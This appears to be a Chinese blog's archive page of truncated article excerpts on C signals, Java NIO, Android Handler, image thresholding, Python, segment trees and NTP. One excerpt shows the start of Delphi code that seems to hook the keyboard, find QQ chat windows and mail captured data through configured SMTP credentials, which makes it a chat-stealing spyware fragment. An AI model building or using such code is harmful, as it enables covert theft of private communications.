现在位置: 首页 > JGOWilliams发表的所有文章
/* $begin restart */ #include "csapp.h" sigjmp_buf buf; void handler(int sig) {     siglongjmp(buf, 1); } int main() {     Signal(SIGINT, handler);     if (!sigsetjmp(buf, 1))     printf("starting\n");     else     printf("restarting\n");     while(1) {     Sleep(1);     printf("processing...\n");     }     exit(0); } /* $end restart */ setjmp函数 #include <setjmp.h> int setjmp(jmp_buf env); int sigsetjmp(sigjmp_buf env, int savesigs); setjmp函数在env缓冲区中保存当前调用环境,......
阅读全文
  • 06月
  • 15日
综合 ⁄ 共 2548字 评论关闭
前文讲述了NIO数据读写处理,那么这些数据最终如何被递交给上层业务程序进行处理的呢? NIO框架一般都采用了事件派发模型来与业务处理器交互,它与原生NIO的事件机制是模型匹配的,缺点是带来了业务处理的碎片化。需要业务程序开发者对事件的生命周期有一个清晰的了解,不像传统方式那么直观。 事件派发器(EventDispatcher)就成为了NIO框架中IO处理线程和业务处理回调接口(Handler)之间的桥梁。 由于业务处理的时间长短是难以确定的,所以一般事件处理器都会分离IO处理线程,使用新的业务处理线程池来进行事件派发,回调业务接......
阅读全文
  • 07月
  • 31日
综合 ⁄ 共 683字 评论关闭
activity事件回掉机制和界面事件回调多用到了handler消息传递机制handler作用---界面更新机制和消息传递机制imageview幻灯片效果---handler.postdelayed()一个runnable 两次调用两次oncreate和run方法里handler不光可以post一个runnable(定时更新 UI)还可以send一个message为什么设计handler:最根本目的解决多线程并发,避免加锁性能下降问题,主线程轮询消息队列处理handler和looper,messaeQuene关系:handler封装消息的发送。looper内部封装一个messagequenehandler与looper建立关系--ui线程创建一个lopper,handler构造方法获取......
阅读全文
  • 07月
  • 08日
综合 ⁄ 共 6050字 评论关闭
感谢 sforever 提供帮助  hookkey: string;  hHook: integer;  Creeper,creeper1:TextFile;  ahwnd,comboboxh:thandle;  //句柄  qqformid:HWND; user:array[0..254] of char; SendBody:string; PSmtp,PUser,PPass,PGetMail,PTOMail,Subject,MailText:String;implementation//找QQ聊天窗口function FpopoID(ahwnd:hwnd;w:integer):boolean;stdcall; var wintext:pchar;    begin    result:=true;    getmem(wintext,100);    getwindowtext(ahwnd,wintext,100);   if Pos('与',WinText)>0  then      begin        TrySendMail......
阅读全文
  • 04月
  • 28日
综合 ⁄ 共 1280字 评论关闭
5    文件系统 文件系统是嵌入式系统必要组件。如果从高层次来分,整个嵌入式系统可以分为有形的硬件部分和以及无形的软件/数据部分,那么所有软件/数据能够在存储介质上的有序存在并且能够通过操作系统管理,这些就归功于文件系统。换句话说,文件系统由1) 数据在存储介质上存储的数据结构;2)提供这种数据结构管理的软件;3)以及通过这种数据结构保存的数据资源构成的整体被称为文件系统。 本章内容将围绕文件系统的三个组成部分进行叙述,详细介绍文件系统的理论知识。同是,结合嵌入式Linux系统,本章也将介绍构建文件系统。......
阅读全文
  • 04月
  • 07日
综合 ⁄ 共 1558字 评论关闭
大家好我们这一节讲的是Android Handler的使用,在讲Handler之前,我们先提个小问题,就是如何让程序5秒钟更新一下Title. 首先我们看一下习惯了Java编程的人,在不知道Handler的用法之前是怎么样写的程序,代码如下所示: package com.android.tutor; import java.util.Timer; import java.util.TimerTask; import android.app.Activity; import android.os.Bundle; public class HandlerDemo extends Activity { //title为setTitle方法提供变量,这里为了方便我设置成了int型 private int title = 0......
阅读全文
  • 04月
  • 03日
综合 ⁄ 共 3050字 评论关闭
转自:http://blog.csdn.net/szv123_rier/article/details/8627150 最大类间方差法(otsu)的原理:       阈值将原图象分成前景,背景两个图象。       前景:用n1,csum,    m1来表示在当前阈值下的前景的点数,质量矩,平均灰度       后景:用n2, sum-csum, m2来表示在当前阈值下的背景的点数,质量矩,平均灰度       当取最佳阈值时,背景应该与前景差别最大,关键在于如何选择衡量差别的标准       而在otsu算法中这个衡量差别的标准就是最大类间方差(英文简称otsu,这也就是这个算法名字的来源)       在本程序中类间方差......
阅读全文
  • 03月
  • 22日
综合 ⁄ 共 1370字 评论关闭
Python内置了一些非常有趣但非常有用的函数,充分体现了Python的语言魅力! filter(function, sequence):对sequence中的item依次执行function(item),将执行结果为True的item组成一个List/String/Tuple(取决于sequence的类型)返回:>>> def f(x): return x % 2 != 0 and x % 3 != 0 >>> filter(f, range(2, 25)) [5, 7, 11, 13, 17, 19, 23]>>> def f(x): return x != 'a' >>> filter(f, "abcdef") 'bcdef' map(function, sequence) :对sequence中的item依次执行function(item),见执......
阅读全文
  • 03月
  • 17日
综合 ⁄ 共 1250字 评论关闭
思路:从后往前插,pos表示他前面有多少的空位,叶子结点存他的val 这样就转化到线段树上 然后就简单了 //10736K    1641MS #include <stdio.h> #define L(x) (x<<1) #define R(x) ((x<<1)+1) #define M 200050 int loc[M],k; struct tree {     int l,r;     int val,pos;//pos表示当点有多少空位 }node[3*M]; struct data {     int pos,num;   }pep[M]; void BuildTree(int left,int right,int u) {     node[u].l = left;     node[u].r = right;     if (left == right)     {         node[u].pos = 1......
阅读全文
  • 02月
  • 20日
综合 ⁄ 共 197字 评论关闭
      趁着服务器在跑程序的空闲时间,花了几个小时写了个工业检测程序(matlab版本),可以用于下图所示的情形,也可以用于车牌识别,过年缺钱了,挂出来卖。。。可以订制。效果如下图所示,红色框框是检测的目标,并且识别出数字和字母,速度很快(没有用深度学习),一副3648×2376的图从检测到识别只需要100毫秒左右,优化后可以达到实时,目前是初级版本,有一位老板打算买,正利用业余时间增强功能。
阅读全文
  • 02月
  • 19日
综合 ⁄ 共 3072字 评论关闭
决策树算法 1、摘要       在前面两篇文章中,分别介绍和讨论了朴素贝叶斯分类与贝叶斯网络两种分类算法。这两种算法都以贝叶斯定理为基础,可以对分类及决策问题进行概率推断。在这一篇文章中,将讨论另一种被广泛使用的分类算法——决策树(decision tree)。相比贝叶斯算法,决策树的优势在于构造过程不需要任何领域知识或参数设置,因此在实际应用中,对于探测式的知识发现,决策树更加适用。 2、决策树引导       通俗来说,决策树分类的思想类似于找对象。现想象一个女孩的母亲要给这个女孩介绍男朋友,于是有了下面的对......
阅读全文
  • 02月
  • 07日
综合 ⁄ 共 1427字 评论关闭
网络时间协议NTP(Network Time Protocol)是用于互联网中时间同步的标准互联网协议。NTP的用途是把计算机的时间同步到某些时间标准。目前采用的时间标准是世界协调时UTC(Universal Time Coordinated)。NTP的主要开发者是美国特拉华大学的David L. Mills教授。 NTP对于我们个人来说有什么用呢,简单的讲,当你的计算机时间不准确了,你可以接入到互联网,从网上同步一下时间,看多方便。 对于企业来说,当你有成百上千的计算机,都不能直接连接互联网,时间不统一影响业务,如果一台一台的修改,那不得累死人啊。这时搭建一个......
阅读全文